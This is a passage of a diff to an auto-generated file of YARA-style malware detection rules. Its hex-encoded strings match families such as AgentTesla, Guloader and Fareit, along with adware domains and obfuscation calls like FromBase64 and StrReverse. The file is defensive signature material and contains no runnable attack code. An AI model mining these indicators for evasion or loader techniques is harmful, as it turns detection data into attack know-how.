20 72 65 63 6f 6e 6e 65 63 74 20 74 6f 20 57 65 62 53 6f 63 6b 65 74 } //16675 + $a_72_1 = {65 72 2e 2e 2e 01 00 1d 01 57 65 62 53 6f 63 6b 65 74 20 69 73 20 73 74 69 6c 6c 20 63 6f 6e 6e 65 63 74 65 64 2e 01 00 1b 01 55 70 6c 6f 61 64 20 61 6c 72 65 61 64 79 20 69 6e 20 70 72 6f 67 72 65 73 73 2e 01 00 1a 01 53 75 63 63 65 73 73 66 75 6c 6c 79 20 64 65 6c 65 74 65 64 20 66 69 6c 65 3a 01 00 } //29472 + $a_69_2 = {53 74 6f 72 6d 4d 61 6e 4b 65 79 00 00 78 d4 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4b 49 49 45 31 32 33 21 4d 54 42 00 01 00 4c 01 57 15 02 1e 09 00 00 00 00 fa 25 33 00 16 00 00 01 00 } //270 + $a_00_3 = {00 00 05 00 00 00 01 00 00 00 0b 00 00 00 06 00 00 00 2d 00 00 00 11 00 00 00 04 00 00 00 03 00 00 00 01 00 00 00 01 00 00 00 01 00 } //0 + $a_00_4 = {00 } //0 + condition: + ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*29472+(#a_69_2 & 1)*270+(#a_00_3 & 1)*0+(#a_00_4 & 1)*0) >=5 + +} +rule _InfrastructureShared_15247{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -163393,7 +174342,7 @@ rule _InfrastructureShared_14306{ ((#a_54_0 & 1)*18467) >=5 } -rule _InfrastructureShared_14307{ +rule _InfrastructureShared_15248{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -163407,7 +174356,7 @@ rule _InfrastructureShared_14307{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*25710+(#a_61_2 & 1)*25199+(#a_5f_3 & 1)*24415+(#a_01_4 & 1)*1) >=5 } -rule _InfrastructureShared_14308{ +rule _InfrastructureShared_15249{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -163421,7 +174370,7 @@ rule _InfrastructureShared_14308{ ((#a_54_0 & 1)*18467+(#a_5f_1 & 1)*24415+(#a_01_2 & 1)*1+(#a_d4_3 & 1)*0+(#a_61_4 & 1)*23653) >=5 } -rule _InfrastructureShared_14309{ +rule _InfrastructureShared_15250{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -163429,27 +174378,13 @@ rule _InfrastructureShared_14309{ $a_41_0 = {42 6c 6f 63 6b 3a 53 6f 63 74 75 73 65 65 72 00 01 00 29 80 01 49 45 5f 42 48 4f 5c 73 6f 75 72 63 65 5c 77 61 6a 61 6d 5c 52 65 6c 65 61 73 65 5c 70 72 69 61 6d 5f 62 68 6f 2e 70 64 62 01 00 1c 80 01 77 61 6a 61 6d 2e 57 61 6a 61 6d 42 48 4f 2e 31 20 3d } //20515 $a_27_1 = {61 6a 61 6d 27 01 00 0e 80 01 53 6f 66 74 77 61 72 65 5c 57 61 6a 61 6d 01 00 30 80 01 77 61 6a } //29472 $a_63_2 = {6d 2f 75 70 64 61 74 65 2f 49 6e 74 65 72 6e 65 74 45 78 70 6c 6f 72 65 72 2f 75 70 64 61 74 65 5f 62 68 6f 2e 78 6d 6c 01 00 1a 80 01 77 } //28001 - $a_6d_3 = {69 65 5f 61 64 64 6f 6e 5f 69 6e 73 74 61 6c 6c 65 64 3d 31 00 00 78 d4 00 00 05 00 05 00 05 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 6e 6f 6a 61 6e 2e 50 47 41 21 4d 54 42 00 01 00 31 80 01 74 65 73 74 2e 61 69 6f 6e 63 6c 61 73 73 69 63 2e 70 72 6f 2f 6c 61 75 6e 63 68 } //27233 - $a_75_4 = {64 61 74 65 72 2f 52 65 6c 65 61 73 65 2e 7a 69 70 01 00 36 01 5c 75 70 64 61 74 65 72 5c 54 65 73 74 2e 41 69 6f 6e 43 6c 61 73 73 69 63 2e } //29285 + $a_6d_3 = {69 65 5f 61 64 64 6f 6e 5f 69 6e 73 74 61 6c 6c 65 64 3d 31 00 00 78 d4 00 00 05 00 05 00 08 00 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f 4b 72 61 64 64 61 72 65 2e 48 4d 52 37 00 01 00 26 80 01 2f 2f 73 75 70 65 72 2e 73 74 6f 63 6b 6e 2e 6b 72 2f 73 74 6f 63 6b 2f 6a 6f 69 6e 3f 73 } //27233 + $a_43_4 = {64 65 3d 01 00 09 80 01 50 6f 70 75 70 4d 65 6e 75 01 00 0f 80 01 43 72 65 61 74 65 50 6f 70 75 70 4d 65 6e 75 01 00 0e 80 01 54 61 73 6b 62 61 72 43 72 65 61 74 65 64 01 00 15 80 01 48 75 6d 61 6e 54 61 6c 6b 5c 4c 69 76 65 55 70 64 61 74 65 5c 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0f 80 } //29801 condition: - ((#a_41_0 & 1)*20515+(#a_27_1 & 1)*29472+(#a_63_2 & 1)*28001+(#a_6d_3 & 1)*27233+(#a_75_4 & 1)*29285) >=5 + ((#a_41_0 & 1)*20515+(#a_27_1 & 1)*29472+(#a_63_2 & 1)*28001+(#a_6d_3 & 1)*27233+(#a_43_4 & 1)*29801) >=5 } -rule _InfrastructureShared_14310{ - meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " - - strings : - $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 53 6e 6f 6a 61 6e 2e 50 47 41 21 4d 54 42 00 01 00 31 80 01 74 65 73 74 2e 61 69 6f 6e 63 6c 61 73 73 69 63 2e 70 72 6f 2f 6c 61 75 6e 63 68 65 72 2f 75 70 64 61 74 65 72 } //21539 - $a_6c_1 = {61 73 65 2e 7a 69 70 01 00 36 01 5c 75 70 64 61 74 65 72 5c 54 65 73 74 2e 41 69 6f 6e 43 6c 61 73 73 69 63 2e 50 72 6f 5c 6f 62 6a 5c 78 36 34 5c 52 65 6c 65 61 73 65 5c 54 45 53 54 2e 70 64 62 01 00 11 01 44 6f 77 6e 6c 6f 61 64 46 69 6c 65 41 73 79 6e 63 01 00 13 01 73 65 74 5f 55 73 65 53 68 65 6c } //21039 - $a_65_2 = {75 74 65 01 00 0b 01 57 65 62 52 65 73 70 6f 6e 73 65 00 00 78 d4 00 00 05 00 05 00 08 00 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f 4b 72 61 64 64 61 72 65 2e 48 4d 52 37 00 01 00 26 80 01 2f 2f 73 75 70 65 72 2e 73 74 6f 63 6b 6e 2e 6b 72 2f 73 74 6f 63 6b 2f 6a 6f 69 6e 3f 73 69 74 65 43 6f 64 65 3d 01 00 09 80 01 50 6f 70 75 70 4d 65 6e 75 01 00 0f } //17772 - $a_72_3 = {61 74 65 50 6f 70 75 70 4d 65 6e 75 01 00 0e 80 01 54 61 73 6b 62 61 72 43 72 65 61 74 65 64 01 00 15 80 01 48 75 6d 61 6e 54 61 6c 6b 5c 4c 69 76 65 55 70 64 61 74 65 5c 9c ff 0a 80 01 55 6e 69 6e 73 } //384 - $a_78_4 = {9c ff 0f 80 01 55 6e 69 6e 73 74 61 6c 6c 65 72 2e 65 78 65 9c ff 0c 80 01 55 6e 69 6e 73 74 61 6c 2e 65 78 65 00 00 78 d4 00 00 06 00 06 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 54 6e 65 67 61 2e 52 4b 21 4d 54 42 00 01 00 0b 01 54 61 73 6b 41 77 61 69 74 65 72 01 00 10 01 53 65 } //11892 - condition: - ((#a_4c_0 & 1)*21539+(#a_6c_1 & 1)*21039+(#a_65_2 & 1)*17772+(#a_72_3 & 1)*384+(#a_78_4 & 1)*11892) >=5 - -} -rule _InfrastructureShared_14311{ +rule _InfrastructureShared_15251{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 08 00 21 " @@ -163466,7 +174401,7 @@ rule _InfrastructureShared_14311{ ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*19824+(#a_01_2 & 1)*3327+(#a_55_3 & 1)*14915+(#a_00_4 & 1)*25956+(#a_3d_5 & 1)*24947+(#a_01_6 & 1)*14387+(#a_72_7 & 1)*26113) >=5 } -rule _InfrastructureShared_14312{ +rule _InfrastructureShared_15252{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -163480,7 +174415,7 @@ rule _InfrastructureShared_14312{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*25459+(#a_64_2 & 1)*26997+(#a_79_3 & 1)*24930+(#a_00_5 & 1)*6) >=6 } -rule _InfrastructureShared_14313{ +rule _InfrastructureShared_15253{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -163494,7 +174429,7 @@ rule _InfrastructureShared_14313{ ((#a_54_0 & 1)*18467+(#a_61_2 & 1)*385+(#a_79_3 & 1)*25445+(#a_6f_4 & 1)*-32503+(#a_62_5 & 1)*30062) >=6 } -rule _InfrastructureShared_14314{ +rule _InfrastructureShared_15254{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -163508,7 +174443,7 @@ rule _InfrastructureShared_14314{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*25710+(#a_74_2 & 1)*24939+(#a_00_3 & 1)*111+(#a_72_4 & 1)*14930) >=6 } -rule _InfrastructureShared_14315{ +rule _InfrastructureShared_15255{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 06 00 21 " @@ -163523,7 +174458,7 @@ rule _InfrastructureShared_14315{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*40+(#a_6c_2 & 1)*21612+(#a_74_3 & 1)*18177+(#a_01_4 & 1)*2304+(#a_6f_5 & 1)*13056) >=7 } -rule _InfrastructureShared_14316{ +rule _InfrastructureShared_15256{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -163533,13 +174468,13 @@ rule _InfrastructureShared_14316{ $a_00_2 = {07 00 07 00 21 23 48 } //0 $a_3a_3 = {72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4f 31 37 21 4d 54 42 00 01 00 21 01 42 00 75 00 00 0f 6e 00 69 00 66 00 75 00 5f 00 54 00 65 00 00 09 78 00 74 00 42 00 6f 00 00 03 78 01 00 22 01 13 69 00 33 06 6e 00 76 00 } //21587 $a_00_4 = {6b 00 33 06 65 00 01 03 33 06 01 01 00 09 4c 00 6f 00 61 00 64 01 00 0e 81 01 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 01 00 10 81 01 47 65 74 45 78 70 6f 72 74 65 64 54 79 70 65 73 01 00 0e 81 01 4e 65 77 4c 61 74 65 42 69 6e 64 69 6e 67 01 00 0a 81 01 53 74 72 52 65 76 65 72 73 65 01 00 0a 81 01 46 72 6f 6d 42 61 73 65 36 34 00 } //1587 - $a_00_5 = {00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 53 41 55 31 32 33 21 4d 54 42 00 01 00 11 81 01 76 65 6c 61 20 61 6d 61 74 72 70 72 6f 6a 65 6b 74 01 00 1a 81 01 72 6f 62 6f 74 69 73 74 69 63 20 70 6f 70 64 6f 63 6b 20 64 6f 74 74 6c 65 72 01 00 13 81 01 61 65 72 6f 62 65 73 20 73 6f 6c 61 72 69 73 74 69 63 73 01 00 12 81 01 74 69 70 6e 69 6e 67 20 68 75 73 6e 75 6d 6d 65 72 73 01 00 0d 81 01 70 68 61 63 6f 63 68 6f 65 72 69 6e 65 01 00 1d 81 01 74 72 6e 67 73 6c 65 72 20 6e 75 63 69 66 6f 72 6d 20 68 61 6e 6b 6e 73 76 73 6e 65 72 01 00 0d 81 01 66 6f 72 6c 66 74 65 6c 73 65 72 6e 65 00 } //30720 - $a_00_6 = {00 07 00 07 00 09 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 56 72 42 72 6f 74 68 65 72 73 00 01 00 07 00 62 72 6f 5f 61 64 73 01 00 0b 00 64 6f 77 6e 6c 6f 61 64 75 72 6c 01 00 11 00 61 64 2e 76 72 62 72 6f 74 68 65 72 73 2e 63 6f 6d 01 00 13 00 64 6f 77 6e 2e 76 72 62 72 6f 74 68 65 72 73 2e 63 6f 6d 01 00 0e 00 61 64 2d 6d 79 6d 61 63 72 6f 2e 78 6d 6c 01 00 12 00 2f 76 72 62 2f 63 68 6b 6f 6c 76 31 30 2e 61 73 70 78 01 00 22 00 68 69 2e 76 72 62 72 6f 74 68 65 72 73 2e 63 6f 6d 2f 78 6a 6c 2f 6d 6d 63 6f 75 6e 74 2e 61 73 70 78 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 } //30720 + $a_00_5 = {00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4c 4e 30 31 21 4d 54 42 00 01 00 1a 81 01 65 6e 6b 72 6f 6e 65 20 6a 61 70 70 65 72 20 73 6d 65 72 74 65 66 75 6c 64 65 01 00 0a 81 01 63 61 6e 6f 6e 69 73 65 72 73 01 00 16 81 01 5c 76 69 74 61 6d 69 6e 65 72 5c 65 78 65 63 75 74 72 69 63 65 73 01 00 11 81 01 6d 69 6c 6a 70 72 6f 6a 65 6b 74 65 72 2e 6f 75 74 01 00 19 81 01 48 61 6e 64 63 72 61 6e 6b 5c 70 69 6d 70 6c 65 73 5c 4e 61 69 76 32 34 35 01 00 15 81 01 41 6b 74 69 6f 6e 73 74 61 62 65 6c 6c 65 6e 35 36 2e 74 72 69 01 00 10 81 01 73 76 61 6c 65 68 61 6c 65 72 6e 65 2e 6a 70 67 00 } //30720 + $a_00_6 = {00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 53 41 55 31 32 33 21 4d 54 42 00 01 00 11 81 01 76 65 6c 61 20 61 6d 61 74 72 70 72 6f 6a 65 6b 74 01 00 1a 81 01 72 6f 62 6f 74 69 73 74 69 63 20 70 6f 70 64 6f 63 6b 20 64 6f 74 74 6c 65 72 01 00 13 81 01 61 65 72 6f 62 65 73 20 73 6f 6c 61 72 69 73 74 69 63 73 01 00 12 81 01 74 69 70 6e 69 6e 67 20 68 75 73 6e 75 6d 6d 65 72 73 01 00 0d 81 01 70 68 61 63 6f 63 68 6f 65 72 69 6e 65 01 00 1d 81 01 74 72 6e 67 73 6c 65 72 20 6e 75 63 69 66 6f 72 6d 20 68 61 6e 6b 6e 73 76 73 6e 65 72 01 00 0d 81 01 66 6f 72 6c 66 74 65 6c 73 65 72 6e 65 00 } //30720 condition: ((#a_54_0 & 1)*18467+(#a_69_1 & 1)*29779+(#a_00_2 & 1)*0+(#a_3a_3 & 1)*21587+(#a_00_4 & 1)*1587+(#a_00_5 & 1)*30720+(#a_00_6 & 1)*30720) >=7 } -rule _InfrastructureShared_14317{ +rule _InfrastructureShared_15257{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -163550,12 +174485,28 @@ rule _InfrastructureShared_14317{ $a_81_3 = {4e 65 77 4c 61 74 65 42 69 6e 64 69 6e 67 } //1 NewLateBinding $a_81_4 = {53 74 72 52 65 76 65 72 73 65 } //1 StrReverse $a_81_5 = {46 72 6f 6d 42 61 73 65 36 34 } //1 FromBase64 - $a_d4_6 = {00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 53 41 55 31 32 33 21 4d 54 42 00 01 00 11 81 01 76 65 6c 61 20 61 6d 61 74 72 70 72 6f 6a 65 6b 74 01 00 1a 81 01 72 6f 62 6f 74 69 73 74 69 63 20 70 6f 70 64 6f 63 6b 20 64 6f 74 74 6c 65 72 01 00 13 81 01 61 65 72 6f 62 65 73 20 73 6f 6c 61 72 69 73 74 69 63 73 01 00 } //0 + $a_d4_6 = {00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4c 4e 30 31 21 4d 54 42 00 01 00 1a 81 01 65 6e 6b 72 6f 6e 65 20 6a 61 70 70 65 72 20 73 6d 65 72 74 65 66 75 6c 64 65 01 00 0a 81 01 63 61 6e 6f 6e 69 73 65 72 73 01 00 16 81 01 5c 76 69 74 61 6d 69 6e 65 72 5c 65 78 65 63 75 74 72 69 63 65 73 01 00 11 81 01 6d 69 6c } //0 condition: ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*13056+(#a_06_2 & 1)*769+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_d4_6 & 1)*0) >=7 } -rule _InfrastructureShared_14318{ +rule _InfrastructureShared_15258{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4c 4e 30 31 21 4d 54 42 00 01 00 1a 81 01 65 6e 6b 72 6f 6e 65 20 6a 61 70 70 65 72 20 73 6d 65 72 74 65 66 75 6c 64 65 01 00 0a 81 01 63 61 6e 6f 6e 69 73 65 72 73 01 00 16 81 01 5c 76 69 74 61 6d } //18467 + $a_72_1 = {65 78 65 63 75 74 72 69 63 65 73 01 00 11 81 01 6d 69 6c 6a 70 72 6f 6a 65 6b 74 65 72 2e 6f 75 74 01 00 19 81 01 48 61 6e 64 63 72 61 6e 6b 5c 70 69 6d 70 6c 65 73 5c 4e 61 69 76 32 34 35 01 00 15 81 01 41 6b 74 69 6f 6e 73 74 61 62 65 6c 6c 65 6e 35 36 2e 74 72 69 01 00 10 81 01 73 76 61 6c 65 68 61 } //28265 + $a_6e_2 = {2e 6a 70 67 00 00 78 d4 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 53 41 55 31 32 33 21 4d 54 42 00 01 00 11 81 01 76 65 6c 61 20 61 6d 61 74 72 70 72 6f 6a 65 6b 74 01 00 1a 81 01 72 6f 62 6f 74 69 73 74 69 63 20 70 6f 70 64 6f 63 6b 20 64 6f 74 74 6c 65 72 01 00 13 81 01 61 65 72 6f 62 65 } //25964 + $a_6f_3 = {61 72 69 73 74 69 63 73 01 00 12 81 01 74 69 70 6e 69 6e 67 20 68 75 73 6e 75 6d 6d 65 72 73 01 00 0d 81 01 70 68 61 63 6f 63 68 6f 65 72 69 6e 65 01 00 1d 81 01 74 72 6e 67 73 6c 65 72 20 6e 75 63 69 66 6f 72 6d 20 68 61 6e 6b 6e 73 76 73 6e 65 72 01 00 0d 81 01 66 6f 72 6c 66 74 65 6c 73 65 72 6e 65 00 00 78 d4 00 00 07 00 07 00 09 00 21 23 } //8307 + $a_3a_4 = {6c 6f 63 6b 3a 56 72 42 72 6f 74 68 65 72 73 00 01 00 07 00 62 72 6f 5f 61 64 73 01 00 0b 00 64 6f 77 6e 6c 6f 61 64 75 72 6c 01 00 11 00 61 64 2e 76 72 62 72 6f 74 68 65 72 73 2e 63 6f 6d 01 00 } //21840 + $a_6f_5 = {6e 2e 76 72 62 72 6f 74 68 65 72 73 2e 63 6f 6d 01 00 0e 00 61 64 2d 6d 79 6d 61 63 72 6f 2e 78 6d 6c 01 00 12 00 2f 76 72 62 2f 63 68 6b 6f 6c 76 31 30 2e 61 73 70 78 01 00 22 00 68 69 2e 76 72 62 72 6f 74 68 65 72 73 2e 63 6f 6d 2f 78 6a 6c 2f 6d 6d 63 6f 75 6e 74 2e 61 73 70 78 9c ff 0a 80 01 55 } //19 + $a_73_6 = {2e 65 78 65 9c ff 0d 80 01 55 6e 69 6e 73 74 61 6c 6c 2e 65 78 65 00 00 78 d4 00 00 08 00 08 00 06 00 21 23 44 48 41 5f 53 75 73 70 69 63 69 6f 75 73 5f 30 31 00 01 00 18 00 57 61 76 20 46 69 6c 65 73 28 2a 2e 77 61 76 29 7c 2a 2e 77 61 76 7c 7c 01 00 17 00 2a 2e 6c 6f 67 7c 2a 2e 6c 6f 67 7c 2a 2e 74 78 74 7c 2a 2e 6c 6f 67 01 } //26990 + condition: + ((#a_54_0 & 1)*18467+(#a_72_1 & 1)*28265+(#a_6e_2 & 1)*25964+(#a_6f_3 & 1)*8307+(#a_3a_4 & 1)*21840+(#a_6f_5 & 1)*19+(#a_73_6 & 1)*26990) >=7 + +} +rule _InfrastructureShared_15259{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -163570,7 +174521,7 @@ rule _InfrastructureShared_14318{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*-32493+(#a_73_2 & 1)*25199+(#a_00_3 & 1)*28274+(#a_01_4 & 1)*28515+(#a_00_6 & 1)*0) >=7 } -rule _InfrastructureShared_14319{ +rule _InfrastructureShared_15260{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 09 00 21 " @@ -163588,7 +174539,7 @@ rule _InfrastructureShared_14319{ ((#a_41_0 & 1)*20515+(#a_00_1 & 1)*28015+(#a_2d_2 & 1)*24832+(#a_00_3 & 1)*30821+(#a_4d_4 & 1)*11592+(#a_01_5 & 1)*-15488+(#a_66_6 & 1)*25697+(#a_4f_7 & 1)*28773+(#a_74_8 & 1)*25459) >=7 } -rule _InfrastructureShared_14320{ +rule _InfrastructureShared_15261{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 06 00 21 " @@ -163602,7 +174553,7 @@ rule _InfrastructureShared_14320{ ((#a_41_0 & 1)*17443+(#a_59_1 & 1)*24320+(#a_04_3 & 1)*21643+(#a_f7_4 & 1)*-3581+(#a_66_5 & 1)*20325) >=8 } -rule _InfrastructureShared_14321{ +rule _InfrastructureShared_15262{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -163618,7 +174569,7 @@ rule _InfrastructureShared_14321{ ((#a_46_0 & 1)*16675+(#a_66_1 & 1)*20343+(#a_44_2 & 1)*384+(#a_63_4 & 1)*21249+(#a_65_5 & 1)*25970+(#a_72_6 & 1)*12645+(#a_67_7 & 1)*4608) >=8 } -rule _InfrastructureShared_14322{ +rule _InfrastructureShared_15263{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -163634,7 +174585,7 @@ rule _InfrastructureShared_14322{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1536+(#a_48_2 & 1)*8448+(#a_79_3 & 1)*29806+(#a_74_4 & 1)*28417+(#a_6c_5 & 1)*17253+(#a_47_7 & 1)*21316) >=8 } -rule _InfrastructureShared_14323{ +rule _InfrastructureShared_15264{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -163651,7 +174602,7 @@ rule _InfrastructureShared_14323{ ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*30063+(#a_00_2 & 1)*0+(#a_54_3 & 1)*21076+(#a_00_4 & 1)*27756+(#a_65_5 & 1)*21249+(#a_2e_6 & 1)*25963+(#a_6e_7 & 1)*29285) >=8 } -rule _InfrastructureShared_14324{ +rule _InfrastructureShared_15265{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -163660,30 +174611,61 @@ rule _InfrastructureShared_14324{ $a_6c_1 = {74 6f 72 01 00 0d 01 44 53 5f 47 61 6d 65 5f 4d 61 6b 65 72 01 00 08 01 47 65 74 50 69 78 65 6c 01 00 25 01 44 53 5f 47 61 6d 65 5f 4d 61 6b 65 72 2e 42 61 64 53 70 72 69 74 65 53 69 7a 65 2e 72 65 73 6f 75 72 63 65 73 01 00 21 01 44 53 5f 47 61 6d 65 5f 4d 61 6b 65 72 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 00 00 78 d4 00 } //28257 $a_52_4 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 52 48 21 4d 54 42 00 01 00 20 81 01 5c 73 74 72 61 69 67 68 74 61 62 6f 75 74 5c 55 6e 6e 61 76 69 67 61 62 69 6c 69 74 79 32 30 36 01 00 12 81 01 44 6f 6d 69 6e 65 72 69 6e 67 65 72 } //21320 $a_74_5 = {74 01 00 0e 81 01 45 66 74 65 72 73 6b 72 69 76 2e 74 78 74 01 00 0f 81 01 50 72 6f 6d 6f 74 6f 72 69 61 6c 2e 66 6c 65 01 00 0b 81 01 64 } //25966 - $a_69_6 = {65 2e 69 6e 67 01 00 0f 81 01 65 6e 74 65 72 6f 74 6f 78 69 6e 2e 69 6e 69 01 00 0c 81 01 6b 65 68 6f 65 69 74 65 2e 61 6e 73 01 00 0a 81 01 72 65 6b 6a 66 64 2e 6a 70 67 00 00 78 d4 00 00 09 00 09 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 43 48 21 4d 54 42 00 01 00 0f } //30309 - $a_66_7 = {73 65 74 4d 61 72 73 68 61 6c 65 72 01 00 0d 80 01 52 65 74 75 72 6e 4d 65 73 73 61 67 65 01 00 07 80 01 52 65 76 65 72 73 65 01 00 07 80 01 52 65 70 6c 61 63 65 01 00 09 80 01 53 75 62 73 74 72 69 6e 67 01 00 07 80 01 47 65 74 54 79 70 } //384 + $a_69_6 = {65 2e 69 6e 67 01 00 0f 81 01 65 6e 74 65 72 6f 74 6f 78 69 6e 2e 69 6e 69 01 00 0c 81 01 6b 65 68 6f 65 69 74 65 2e 61 6e 73 01 00 0a 81 01 72 65 6b 6a 66 64 2e 6a 70 67 00 00 78 d4 00 00 08 00 08 00 09 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 4f 6e 65 50 6c 61 74 66 6f 72 6d 00 02 00 0d 80 01 64 69 37 65 31 6a 35 66 31 70 6c 66 6f } //30309 + $a_80_7 = {61 66 78 77 69 6e 32 2e 69 6e } //afxwin2.in 1 condition: - ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*28257+(#a_52_4 & 1)*21320+(#a_74_5 & 1)*25966+(#a_69_6 & 1)*30309+(#a_66_7 & 1)*384) >=8 + ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*28257+(#a_52_4 & 1)*21320+(#a_74_5 & 1)*25966+(#a_69_6 & 1)*30309+(#a_80_7 & 1)*1) >=8 } -rule _InfrastructureShared_14325{ +rule _InfrastructureShared_15266{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 47 75 4c 6f 61 64 65 72 2e 53 52 48 21 4d 54 42 00 01 00 20 81 01 5c 73 74 72 61 69 67 68 74 61 62 6f 75 74 5c 55 6e 6e 61 76 69 67 61 62 69 6c 69 74 79 32 30 36 01 00 12 81 01 44 6f 6d 69 6e 65 72 69 6e 67 } //18467 $a_65_1 = {74 78 74 01 00 0e 81 01 45 66 74 65 72 73 6b 72 69 76 2e 74 78 74 01 00 0f 81 01 50 72 6f 6d 6f 74 6f 72 69 61 6c 2e 66 6c 65 01 00 0b 81 01 64 65 76 6f 69 63 65 2e 69 6e 67 01 00 0f 81 01 65 6e 74 65 72 6f 74 6f 78 69 6e 2e 69 6e 69 01 00 0c 81 01 6b 65 68 6f 65 69 74 65 2e 61 6e 73 01 00 0a 81 01 72 65 6b 6a 66 64 2e 6a 70 67 } //29285 - $a_d4_2 = {00 09 00 09 00 09 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4f 58 43 48 21 4d 54 42 00 01 00 0f 80 01 4f 66 66 73 65 74 4d 61 72 73 68 61 6c 65 72 01 00 0d 80 01 52 65 74 75 72 6e 4d 65 73 73 61 67 65 01 00 07 80 01 52 65 76 65 72 73 65 01 00 07 80 01 52 65 70 6c 61 63 65 01 00 09 80 01 53 75 62 73 74 72 69 } //0 - $a_00_3 = {07 } //26478 - $a_65_4 = {54 79 70 65 01 00 09 80 01 47 65 74 4d 65 74 68 6f 64 01 00 0b 80 01 4c 69 62 50 69 78 65 6c 50 65 74 01 00 2a 80 01 4c 69 62 50 69 78 65 6c 50 65 74 2e 50 72 6f 70 65 72 74 69 65 73 2e 52 65 73 6f 75 72 63 65 73 } //384 - $a_73_5 = {75 72 63 65 73 00 00 78 d4 00 00 0a 00 0a 00 04 00 21 23 48 53 54 52 3a 50 57 53 3a 57 69 6e 33 32 2f 46 61 72 65 69 74 2e 41 4b 4b 